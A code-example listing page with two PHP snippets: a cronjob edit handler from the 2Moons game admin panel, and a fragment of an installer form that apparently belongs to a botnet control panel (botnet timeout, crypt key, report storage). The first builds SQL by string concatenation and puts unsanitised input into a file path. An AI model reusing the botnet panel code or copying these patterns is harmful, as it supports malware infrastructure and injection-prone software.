コード例 #1
0
ファイル: ShowCronjobPage.php プロジェクト: tatarysh/2Moons
function ShowCronjobEdit()
{
    global $LNG;
    $post_id = HTTP::_GP('id', 0);
    $post_name = HTTP::_GP('name', '');
    $post_min = checkPostData('min', 59);
    $post_hours = checkPostData('hours', 23);
    $post_month = checkPostData('month', 12);
    $post_dow = checkPostData('dow', 6);
    $post_dom = checkPostData('dom', 31);
    $post_class = HTTP::_GP('class', '');
    $error_msg = array();
    if ($post_name == '') {
        $error_msg[] = $LNG['cronjob_error_name'];
    }
    if ($post_min === false) {
        $error_msg[] = $LNG['cronjob_error_min'];
    }
    if ($post_hours === false) {
        $error_msg[] = $LNG['cronjob_error_hours'];
    }
    if ($post_month === false) {
        $error_msg[] = $LNG['cronjob_error_month'];
    }
    if ($post_dow === false) {
        $error_msg[] = $LNG['cronjob_error_dow'];
    }
    if ($post_dom === false) {
        $error_msg[] = $LNG['cronjob_error_dom'];
    }
    if ($post_class == '') {
        $error_msg[] = $LNG['cronjob_error_class'];
    } elseif (!file_exists('includes/classes/cronjob/' . $post_class . '.class.php')) {
        $error_msg[] = $LNG['cronjob_error_filenotfound'] . 'includes/classes/cronjobs/' . $post_class . '.class.php';
    }
    if (count($error_msg) == 0) {
        if ($post_id != 0) {
            $GLOBALS['DATABASE']->query("UPDATE " . CRONJOBS . " SET name = '" . $GLOBALS['DATABASE']->sql_escape($post_name) . "', min = '" . $post_min . "', hours = '" . $post_hours . "', month = '" . $post_month . "', dow = '" . $post_dow . "', dom = '" . $post_dom . "', class = '" . $GLOBALS['DATABASE']->sql_escape($post_class) . "' WHERE cronjobID = {$post_id};");
        } else {
            $GLOBALS['DATABASE']->query("INSERT INTO " . CRONJOBS . " SET name = '" . $GLOBALS['DATABASE']->sql_escape($post_name) . "', min = '" . $post_min . "', hours = '" . $post_hours . "', month = '" . $post_month . "', dow = '" . $post_dow . "', dom = '" . $post_dom . "', class = '" . $GLOBALS['DATABASE']->sql_escape($post_class) . "';");
        }
        ShowCronjobOverview();
    } else {
        ShowCronjobDetail($post_id, $error_msg);
    }
}
コード例 #2
0
         $pd_mysql_db = isset($config['mysql_db']) ? $config['mysql_db'] : NULL;
     }
 } else {
     $pd_user = checkPostData('user', 1, 20);
     $pd_pass = checkPostData('pass', 6, 64);
     $pd_reports_path = checkPostData('path_reports', 1, 256);
     $pd_reports_to_db = isset($_POST['reports_to_db']);
     // && $_POST['reports_to_db'] == 1);
     $pd_reports_to_fs = isset($_POST['reports_to_fs']);
     // && $_POST['reports_to_fs'] == 1);
     $pd_botnet_timeout = checkPostData('botnet_timeout', 1, 4);
     $pd_botnet_cryptkey = checkPostData('botnet_cryptkey', 1, 256);
     $pd_mysql_host = checkPostData('mysql_host', 1, 256);
     $pd_mysql_user = checkPostData('mysql_user', 1, 256);
     $pd_mysql_pass = checkPostData('mysql_pass', 0, 256);
     $pd_mysql_db = checkPostData('mysql_db', 1, 256);
 }
 $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
 //Обработка ошибок.
 if (!$error) {
     if (!$is_update && ($pd_user === NULL || $pd_pass === NULL)) {
         ShowError('Bad format of login data.');
         $error = true;
     }
     if ($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL) {
         ShowError('Bad format of MySQL server data.');
         $error = true;
     }
     if ($pd_reports_path === NULL) {
         ShowError('Bad format of reports path.');
         $error = true;